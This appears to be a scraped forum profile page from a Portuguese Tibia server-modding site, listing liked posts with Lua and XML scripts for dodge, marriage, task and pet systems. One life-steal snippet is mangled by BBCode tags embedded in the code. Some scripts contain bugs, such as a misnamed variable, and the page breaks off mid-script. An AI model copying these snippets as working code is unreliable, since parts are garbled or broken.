Ir para conteúdo

gangor

Membro
  • Registro em

  • Última visita

Histórico de Curtidas

  1. Gostei
    gangor deu reputação a xWhiteWolf em Dodge System 8.54+   
    no script aí não tem restrição nenhuma, se vc quiser restringir mude aqui na action:
    --- Dodge System by Night Wolf       local config = {    effectonuse = 14, -- efeito que sai    levelsdodge = 100,  --- leveis que terão    storagedodge = 48902 -- storage que será verificado    }     local notallowed = {1,2,5,6} function onUse(cid, item, frompos, item2, topos) if not isInArray(notallowed, getPlayerVocation(cid)) then     if getPlayerStorageValue(cid, config.storagedodge) < config.levelsdodge then    doRemoveItem(item.uid, 1) doSendMagicEffect(topos,config.effectonuse) doPlayerSendTextMessage(cid,22,"You've Leveled your Dodge Skill to ["..(getPlayerStorageValue(cid, config.storagedodge)+1).."/100].") setPlayerStorageValue(cid, config.storagedodge, getPlayerStorageValue(cid, config.storagedodge)+1) elseif getPlayerStorageValue(cid, config.storagedodge) >= config.levelsdodge then doPlayerSendTextMessage(cid,22,"You've already reached the MAX level of Dodge Skill.\nCongratulations!!!!")     return 0     end else doPlayerSendTextMessage(cid,22,"You can't learn this skill because you're "..getPlayerVocationName(cid)..".") return 0 end return 1 end aqui são as classes que não poderão utilizar o skill book (mas ainda assim elas poderão comprar:
    local notallowed = {1,2,5,6} Vocation com os id's 1,2,5,6, lembrando q vc pode alterar a vontade
      e no math.random do creaturescript troque isso
    >= math.random (0,1000) por isso
    >= math.random (1,1000)
  2. Gostei
    gangor deu reputação a Latoy em new marriage system   
    Mulizeu/Latoy são a msm pessoa



    Na sua db execute:

    CREATE TABLE marriage_system ( id INTEGER NOT NULL, player_id INTEGER NOT NULL, partner VARCHAR( 255 ) NOT NULL, marriage_date INTEGER NOT NULL, PRIMARY KEY ( id ) ); Mods MarriageSystem.xml <?xml version="1.0" encoding="UTF-8"?> <mod name="MarriageSystem" version="1.0" author="Mulizeu" contact="tibiaking.com" enabled="yes"> <config name="marry_func"><![CDATA[ marry_config = { Premium = false, OnlyDifferentSex = false, Marry_Price = 300000, Divorce_Price = 100000, Level = 50, MaxSqm = 7 -- to up system and win bonus } Marry_stage = { [0] = {exp = 350000, marry_percent = 50, player_experience = 0}, [1] = {exp = 700000, marry_percent = 45, player_experience = 2}, [2] = {exp = 1050000, marry_percent = 40, player_experience = 4}, [3] = {exp = 1400000, marry_percent = 35, player_experience = 6}, [4] = {exp = 1750000, marry_percent = 30, player_experience = 8}, [5] = {exp = 2100000, marry_percent = 25, player_experience = 10}, [6] = {exp = 2450000, marry_percent = 20, player_experience = 12}, [7] = {exp = 2800000, marry_percent = 15, player_experience = 14}, [8] = {exp = 3150000, marry_percent = 10, player_experience = 16}, [9] = {exp = 3500000, marry_percent = 5, player_experience = 18}, [10] = {exp = 0, marry_percent = 0, player_experience = 20} } marriage_tabble = {exp = 350250,level = 340200} function isMarried(cid) local m = db.getResult("SELECT `player_id` FROM `marriage_system` WHERE `player_id` = '"..getPlayerGUID(cid).."';") if(m:getID() == -1) then local e = db.getResult("SELECT `partner` FROM `marriage_system` WHERE `partner` = '"..getPlayerGUID(cid).."';") if(e:getID() == -1) then return false end end return true end function isPatner(cid) local p = db.getResult("SELECT `partner` FROM `marriage_system` WHERE `player_id` = '"..getPlayerGUID(cid).."';") if(p:getID() == -1) then return true end return false end function isMarryOnline(cid) if not getPlayerByNameWildcard(getPartner(cid)) then return false end return true end function getPartner(cid) if isPatner(cid) then a = db.getResult("SELECT `player_id` FROM `marriage_system` WHERE `partner` = '"..getPlayerGUID(cid).."';") b = "player_id" else a = db.getResult("SELECT `partner` FROM `marriage_system` WHERE `player_id` = '"..getPlayerGUID(cid).."';") b = "partner" end local query = a return getPlayerNameByGUID(query:getDataString(b)) end function doMarry(cid, patner) return db.executeQuery("INSERT INTO `marriage_system` (`player_id`, `partner`, `marriage_date`) VALUES ('".. getPlayerGUID(cid) .."', '"..patner.."', '".. os.time() .."');") end function doDivorcePlayer(cid) if isPatner(cid) then pid,player = getPlayerGUIDByName(getPartner(cid)),getPlayerByNameWildcard(getPartner(cid)) else pid,player = getPlayerGUID(cid),cid end if(not player or isPlayerGhost(player)) then db.executeQuery("DELETE FROM `player_storage` WHERE `player_id` = " .. pid .. " AND `key` = " .. marriage_tabble.level .. ";") db.executeQuery("DELETE FROM `player_storage` WHERE `player_id` = " .. pid .. " AND `key` = " .. marriage_tabble.exp .. ";") else setPlayerStorageValue(player, marriage_tabble.level,0) setPlayerStorageValue(player, marriage_tabble.exp,0) end return db.executeQuery("DELETE FROM `marriage_system` WHERE `player_id` = '" .. pid .. "';") end function getMarryStatus(cid, status) player = isPatner(cid) and getPlayerByNameWildcard(getPartner(cid)) or cid return getPlayerStorageValue(player,status == "level" and marriage_tabble.level or marriage_tabble.exp) < 0 and 0 or getPlayerStorageValue(player, status == "level" and marriage_tabble.level or marriage_tabble.exp) end function setMarryStatus(cid, status, amount) player = isPatner(cid) and getPlayerByNameWildcard(getPartner(cid)) or cid return setPlayerStorageValue(player, status == "level" and marriage_tabble.level or marriage_tabble.exp, getMarryStatus(player, status)+amount) end function getMarryExp(cid) return getMarryStatus(cid, "exp") end function addMarryExp(cid, amount) return setMarryStatus(cid, "exp", amount) end function addMarryLevel(cid, amount) return setMarryStatus(cid, "level", amount) end function getMarryLevel(cid) return getMarryStatus(cid, "level") end function getMarryDate(cid) local player = isPatner(cid) and getPlayerGUIDByName(getPartner(cid)) or getPlayerGUID(cid) local date = db.getResult("SELECT `marriage_date` FROM `marriage_system` WHERE `player_id` = '"..player.."';") return os.date("%d %B %Y %X ", date:getDataInt("marriage_date")) end ]]></config> <talkaction words="/marriage;!marriage;!divorce;/divorce" event="buffer"><![CDATA[ domodlib('marry_func') config = {TimeAccept = 30, sqm = 3, storage1 = 873438, storage2 = 532579} if words =="!marriage" or words =="/marriage" then param = string.lower(param) if (param == "") then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"invalid command, for more information enter !marriage info") elseif(param == "info") then msg = "Marriage Info".."\n\nLevel Minimum: "..marry_config.Level.."\nMarriage Cost: "..marry_config.Marry_Price.."\nDivorce Cost: "..marry_config.Divorce_Price.."\n\nMarried Players have a bonus exp as a wedding gift given by the union".."\n\nThis bonus is only given if the married players are nearby.\n\nTo marry use the command:\n!marriage NAME" doShowTextDialog(cid,2160,msg) elseif(param == "status") then if isMarried(cid) then msg = "Marriage Status".."\n\nMarried with: ["..getPartner(cid).."]\n\nMarry Experience: "..(getMarryLevel(cid) ~= 10 and "["..getMarryExp(cid).."/"..Marry_stage[getMarryLevel(cid)].exp.."]" or "[Max]").."\n\nMarry Level: "..(getMarryLevel(cid) ~= 10 and "["..getMarryLevel(cid).."]" or "[Max]").."\n" else msg = "you are not married" end doPlayerPopupFYI(cid, msg) elseif (param =="date") then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,""..(isMarried(cid) and "The date of his marriage with "..getPartner(cid).." was: "..getMarryDate(cid).."." or "you are not married.").."") elseif (param =="accept") then player = getPlayerStorageValue(cid, config.storage2) if getPlayerStorageValue(cid, config.storage1) >= os.time() then if not isMarried(cid) then if getDistanceBetween(getCreaturePosition(cid), getCreaturePosition(player)) <= config.sqm then doMarry(cid, getPlayerGUID(player)) doPlayerSendTextMessage(player, MESSAGE_STATUS_CONSOLE_ORANGE,"Congratulations! "..getCreatureName(cid).." accepted his marriage proposal.") doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE,"Congratulations! you married with "..getCreatureName(player)) doSendMagicEffect(getCreaturePosition(cid), 35) doSendMagicEffect(getCreaturePosition(player), 35) else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "you're far away from her suitor.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"you are not married.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"you do not received none wedding invitation.") end elseif (param =="reject") then if getPlayerStorageValue(cid, config.storage1) >= os.time() then if not isMarried(cid) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE,"You just refuse the wedding invitation from player "..getCreatureName(getPlayerStorageValue(cid, config.storage2))) doPlayerSendTextMessage(getPlayerStorageValue(cid, config.storage2), MESSAGE_STATUS_CONSOLE_ORANGE,getCreatureName(cid).." rejected his marriage proposal.") else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"you are already married.") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"you do not received none wedding invitation.") end else local player = getPlayerByNameWildcard(param) if(not player)then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, param.." is offline or does not exist.") return true elseif isMarried(cid) or isMarried(player) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, ""..(isMarried(cid) and "you" or "he").." already is wedded.") return true elseif marry_config.Premium == true then if not isPremium(cid) or not isPremium(Player) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "players must be premium") end return true elseif getPlayerLevel(cid) < marry_config.Level or getPlayerLevel(player) < marry_config.Level then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "players must to be level "..marry_config.Level) return true elseif getPlayerStorageValue(player, config.storage1) >= os.time() then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, param.." already have a wedding invitation, wait.") return true elseif getDistanceBetween(getCreaturePosition(cid), getCreaturePosition(player)) > config.sqm then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "you are far away from each other to get married.") return true elseif marry_config.OnlyDifferentSex and getPlayerSex(cid) == getPlayerSex(player) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "you can only marry the opposite sex") return true elseif not doPlayerRemoveMoney(cid, marry_config.Marry_Price) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Sorry, but you do not have "..marry_config.Marry_Price.." gp(s) to ask "..param.." in marriage.") return true end setPlayerStorageValue(player, config.storage1,os.time()+config.TimeAccept) setPlayerStorageValue(player, config.storage2, cid) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"you asked "..param.." in marriage, wait a answer!") doPlayerSendTextMessage(player, MESSAGE_STATUS_CONSOLE_BLUE,getCreatureName(cid).." asked you in marriage, enter !marriage accept or !marriage reject") end elseif words =="!divorce" or words =="/divorce" then if isMarried(cid) then if doPlayerRemoveMoney(cid, marry_config.Divorce_Price) then doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE,"Congratulations, you end up divorcing from player: "..getPartner(cid)) doDivorcePlayer(cid) else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"Sorry, you do not have "..marry_config.Divorce_Price.." gp(s).") end else doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE,"you are not married.") end end return true ]]></talkaction> <event type="login" name="MarryRegister" event="script"><![CDATA[ function onLogin(cid) registerCreatureEvent(cid, "ExpMarry") registerCreatureEvent(cid, "MarryLook") registerCreatureEvent(cid, "MarryStats") registerCreatureEvent(cid, "MarryNoAttack") return true end]]></event> <event type="look" name="MarryLook" event="script"><![CDATA[ domodlib('marry_func') function onLook(cid, thing, position, lookDistance) if isPlayer(thing.uid) and isMarried(thing.uid) then doPlayerSetSpecialDescription(thing.uid, "\nMarried with "..getPartner(thing.uid).." - [Nv: " .. getMarryLevel(thing.uid) .."]\n") end return true end]]></event> <event type="combat" name="MarryNoAttack" event="script"><![CDATA[ domodlib('marry_func') if isPlayer(cid) and isPlayer(target) and isMarried(cid) and isMarried(target) then if (getCreatureName(target) == getPartner(cid))then doPlayerSendCancel(cid, "You may not attack this player.") return false end end return true ]]></event> <event type="kill" name="ExpMarry" event="script"><![CDATA[ domodlib('marry_func') function onKill(cid, target, lastHit) if isMonster(target) then conta = getMonsterInfo(string.lower(getCreatureName(target))).experience if isMarried(cid) and isMarryOnline(cid) and getDistanceBetween(getCreaturePosition(cid), getCreaturePosition(getPlayerByNameWildcard(getPartner(cid)))) <= marry_config.MaxSqm then if getMarryLevel(cid) ~= 10 then mexp = math.ceil((conta*Marry_stage[getMarryLevel(cid)].marry_percent)/100) addMarryExp(cid, mexp) if isMarryOnline(cid) then doPlayerSendTextMessage(getPlayerByNameWildcard(getPartner(cid)),MESSAGE_STATUS_SMALL,"Marry exp + "..mexp) end doPlayerSendTextMessage(cid,MESSAGE_STATUS_SMALL,"Marry exp + "..mexp) if getMarryExp(cid) >= Marry_stage[getMarryLevel(cid)].exp then addMarryLevel(cid, 1) if isMarryOnline(cid) then doPlayerSendTextMessage(getPlayerByNameWildcard(getPartner(cid)), MESSAGE_STATUS_CONSOLE_RED,"[Marriage System] Level Up! [Nv: "..getMarryLevel(cid).."].") doSendMagicEffect(getCreaturePosition(getPlayerByNameWildcard(getPartner(cid))), 35) end doPlayerSendTextMessage(cid,MESSAGE_STATUS_CONSOLE_RED,"[Marriage System] Level Up! [Nv: "..getMarryLevel(cid).."].") doSendMagicEffect(getCreaturePosition(cid), 35) end end local exp = getExperienceStage(getPlayerLevel(cid), getVocationInfo(getPlayerVocation(cid)).experienceMultiplier) local count = math.ceil(((getMonsterInfo(string.lower(getCreatureName(target))).experience*exp)*Marry_stage[getMarryLevel(cid)].player_experience)/100) doPlayerAddExperience(cid, count) end end return true end]]></event> <event type="statschange" name="MarryStats" event="script"><![CDATA[ domodlib('marry_func') Damage_percent = 50 -- metade n mexa Chance = 25 -- chance de conseguir o reflect ou couple damage if isMonster(attacker) and type == STATSCHANGE_HEALTHLOSS then if isMarried(cid) and isMarryOnline(cid) and getPlayerByNameWildcard(getPartner(cid)) and getDistanceBetween(getCreaturePosition(cid), getCreaturePosition(getPlayerByNameWildcard(getPartner(cid)))) <= marry_config.MaxSqm then if (Chance > math.random(1, 100)) then damage = math.ceil((value*Damage_percent)/100) if (50 > math.random(1, 100)) then doTargetCombatHealth(cid, attacker, COMBAT_PHYSICALDAMAGE, -damage, -damage, CONST_ME_HOLYDAMAGE) doSendAnimatedText(getCreaturePosition(cid), "REFLECT!", 140) else doSendMagicEffect(getCreaturePosition(cid), CONST_ME_HEARTS) doSendAnimatedText(getCreaturePosition(cid), "Love!", 200) doCreatureAddHealth(cid, damage) if isMarryOnline(cid) then doSendMagicEffect(getCreaturePosition(getPlayerByNameWildcard(getPartner(cid))), CONST_ME_HEARTS) doSendAnimatedText(getCreaturePosition(getPlayerByNameWildcard(getPartner(cid))), "Love!", 200) doCreatureAddHealth(getPlayerByNameWildcard(getPartner(cid)), -damage) end end end end end return true ]]></event> </mod>


    Configuração:




    CREDITOS : 25% Ao vodkart pela lib e 75% ao mulizeu(eu) Pelos demais scripts
  3. Gostei
    gangor deu reputação a xWhiteWolf em Magnus Challenger   
    Fala galera, hoje vim trazer o projeto pronto do Magnus Challenger pra vocês instalarem no servidor de vocês!   

    Pra quem não conhece é um sistema de Tasks baseado no Zezenia onde você pode escolher entre tasks de matar monstros ou de coletar certos items para o npc Magnus, um guerreiro famoso da cidade que está atolado de tarefas e precisa da sua ajuda!

    Peguei os aspectos que eu julguei serem os principais do modelo do Zezenia e editei com algumas coisas que eu achei que ficariam melhores.
    Quem quiser pode ver um vídeo comentado de como o sistema funciona:




    Dito isso vou ensinar vocês como instalar isso no server:
    Pra começar vá em data\creaturescripts\scripts e procure login.lua, agora vá até o final do arquivo e antes do último return true coloque essas linhas abaixo

    ainda em creaturescripts procure creaturescripts.xml e adicione essa linha junto com as outras que já estão lá (seguindo o padrão)
    <!-- TASK SYSTEM --> <event type="kill" name="tasksystem" script="tasksystem.lua"/> Agora crie um arquivo em creaturescripts\scripts com o nome de tasksystem.lua e adicione o seguinte à ele:




    Terminada a parte da contagem de kill vamos ao NPC em si.
    Crie um arquivo chamado Magnus.xml em data\npc e coloque isso dentro dele:




    Agora em data\npc\scripts crie um arquivo chamado zezeniaa.lua e adicione esse conteúdo dentro do arquivo:





    ~~~~~~~~~~~~~~~~ FEITO ISSO ESTÁ TERMINADO ~~~~~~~~~~~~~~~~~~

    Agora aprendendo a configurar:
     
    No tasksystem vc pode editar isso daqui:
    Eu fiz um sistema onde se vc estiver em party com alguém e a pessoa matar os bixos conta como se você tivesse matado; Assim incentiva o pessoal a ir numa cave de Dragon e ao invés de matar quem está lá pra ficar sozinho na cave, eles vão chamar party pra fazerem a task juntos.. assim fazer amigos fica mais fácil e com maiores laços é maior a chance do povo não abandonar o seu server.

    Apenas digite "true" ou "false" pra ativar/desativar esse sistema e em baixo temos a distancia máxima pro monstro estar do cara que está fazendo a task pra contar o kill. Se a distancia entre o monstro e a pessoa for maior que 7 não vai contar pra ele a kill.


    No zezeniaa.lua as coisas que dão pra configurar são maiores mas são igualmente simples:
    Toda vez que vc pedir uma task short (curta) vc vai ter de 100 a 400 monstros pra matar, ele gera um número de 0 a 6 e multiplica por 5 e soma com os 100 iniciais.. o mesmo vale pra todos os outros valores.

    levelcollect é o level mínimo pra fazer tasks do tipo collect.
    time é o tempo em segundos que você vai ficar sem poder falar com o npc caso desista de alguma task, o padrão é 8 * 60 * 60 (8 horas)
    bonus é por quanto vai multiplicar caso vc permita que o npc escolha aleatoriamente entre todas as opções.. o padrão é 20% de bonus (1.2)
    multiplicador é uma coisa que eu adicionei pra ficar mais fácil mexer na fórmula sem cometer cagadas, se vc tá ganhando 10% de exp e quer ganhar 80% é só colocar 8 no multiplicador.

     
    Isso daqui é o banco de dados principal do sistema de kill, toda vez que vc escolher uma task do tipo fácil, médio, dificil ele vai acessar essas tabelas contendo o nome das criaturas.. vc pode facilmente adicionar novos nomes, o npc já está programado pra lidar com isso, apenas siga o padrão e mantenha sempre o último sem vírgula!

    Ex: adicionando Morgaroth na tabela de hard
    local hard = { [1] = "Giant Spider", [2] = "Dragon Lord", [3] = "Grim Reaper", [4] = "Demon", [5] = "Crystal Spider", [6] = "Demon Skeleton", [7] = "Juggernaut", [8] = "Destroyer", [9] = "Hand of Cursed Fate", [10] = "Morgaroth" } atente-se também pra não repetir o número no index.. se o anterior era [9] use [10].

    O restante das tabelas são separadas para o banco de dados das tasks de collect:
     
    segue a mesma lógica da de kill só que aqui você tem o id dos itens que serão usados... aquela count não tem nada a ver com o item pois ele vai gerar tanto o item aleatoriamente quanto à count;
    Ex: 
    [1] = {id = 5880, count = 20}, -- iron ore isso não significa que se cair iron ore (id 5880) irá cair sempre 20.. até porque eu poderia escolher uma task long e easy e pegar a task de trazer até 50 iron ores, apenas tente manter os padrões que são os intervalos definidos.
    No easy ele varia de 10 a 20, no medium ele varia de 20 a 35 e no hard de 40 a 50.



    Espero que vocês tenham curtido, é um sistema grande mas bem simples de se mexer... se tiverem quaisquer problemas podem comentar aqui. Deu trabalho fazer isso então se você gostou deixe o seu comentário aí e o seu "Gostei" que vai me incentivar a trazer mais coisas desse tipo pra cá. Abraços do lobo.


    PS: Pra sumonar o npc digite com o GOD: /n Magnus ou coloque ele pelo map editor.
  4. Gostei
    gangor deu reputação a Kimoszin em Pet system ~ By Delyria   
    Cara, creio que nao precisa desse chingamento


  5. Gostei
    gangor deu reputação a ScythePhantom em (Resolvido)alguem ajuda aqui plz   
    Seria isso? http://www.tibiaking.com/forum/topic/42172-experience-weapon-system/
  6. Gostei
    gangor deu reputação a xxaylon em [Pedido]Arma com life steal e Voc que não use certas armas.   
    ~Aylon
    E ae acara eu acho que tenho a solução para seus problemas então lá vai!
    Bom eu inverti as coisas aqui agora vou resolver...andei pesquisando e achei isso olha se ajuda Primeiro em data/creaturescripts/scripts, cria um arquivo chamado "health_level" sem as aspas e nele cole:
    [/size][/color] [color=#FF0000][size=6]local storage = 3456[/size][/color] [color=#FF0000][size=6]function onStatsChange(cid, attacker, type, combat, value) if type == STATSCHANGE_HEALTHLOSS then if isPlayer(attacker) then if getPlayerStorageValue(attacker, storage) > 0 then [/size][/color][color=#282828][size=2] [size=6] doCreatureAddHealth[/size][/size][/color][size=6][color=#282828]([/color][color=#282828]attacker[/color][color=#282828],[/color][color=#282828] math[/color][color=#282828].[/color][color=#282828]random[/color][color=#282828]([/color][color=#282828]getPlayerLevel[/color][color=#282828]([/color][color=#282828]attacker[/color][color=#282828])[/color][color=#282828] [/color][color=#282828]*[/color][color=#282828] [/color][color=#282828]2[/color][color=#282828],[/color][color=#282828]getPlayerLevel[/color][color=#282828]([/color][color=#282828]attacker[/color][color=#282828])[/color][color=#282828] [/color][color=#282828]*[/color][color=#282828] [/color][color=#282828]3[/color][color=#282828]))[/color][color=#FF0000] [/color][/size] [color=#FF0000][size=6] end end end return true end[/size][/color] [color=#FF0000][size=6]function onCombat(cid, target) if isPlayer(cid) then registerCreatureEvent(target, "healthLevel") end return true end[/size][/color] [color=#FF0000][size=6] Agora no creaturescripts.xml Adicione as linhas: <event type="statschange" name="healthLevel" event="script" value="health_level.lua"/> <event type="combat" name="healthHit" event="script" value="health_level.lua"/>[/size][/color] [color=#FF0000][size=6] [/size][/color] [color=#FF0000][size=6]E no login.lua, antes do último return true põe: registerCreatureEvent(cid, "healthHit") foi o que achei durante algumas pesquisas^^ não custa tentar^^
    O em preto fará o dano ser randomico cada hora um valor de hit
    Se gostou dá um Rep+ e se poder upa meu pet ai! ;]

  7. Gostei
    gangor deu reputação a Fox B. em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else 